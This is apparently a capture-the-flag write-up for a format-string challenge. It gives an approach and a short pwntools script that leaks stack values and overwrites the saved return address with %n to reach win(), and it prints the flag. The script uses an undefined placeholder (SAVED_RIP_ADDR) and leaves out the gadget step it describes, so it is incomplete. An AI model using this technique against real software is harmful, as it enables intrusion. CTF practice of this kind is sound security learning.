Challenge

A binary with a format-string vulnerability, ASLR disabled, no PIE. There’s a win() function.

Approach

  1. ASLR is off — binary loads at a fixed address every run.
  2. Use %p / %lx format specifiers to leak stack values and confirm offsets.
  3. Use %n to overwrite a return address or GOT entry with the address of win().
  4. The binary has a call rax gadget; stuff win() into rax via a controlled input then trigger the gadget.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

from pwn import *
p = process("./new-to-the-format")
WIN = 0x401337

# Step 1: leak stack canary / return addr via format string
p.sendline(b"%15$lx")
leak = int(p.recvline().strip(), 16)

# Step 2: overwrite saved rip with WIN using %n
payload = fmtstr_payload(6, {SAVED_RIP_ADDR: WIN})
p.sendline(payload)
p.interactive()

Flag

boroCTF{%_0F_pEop!le}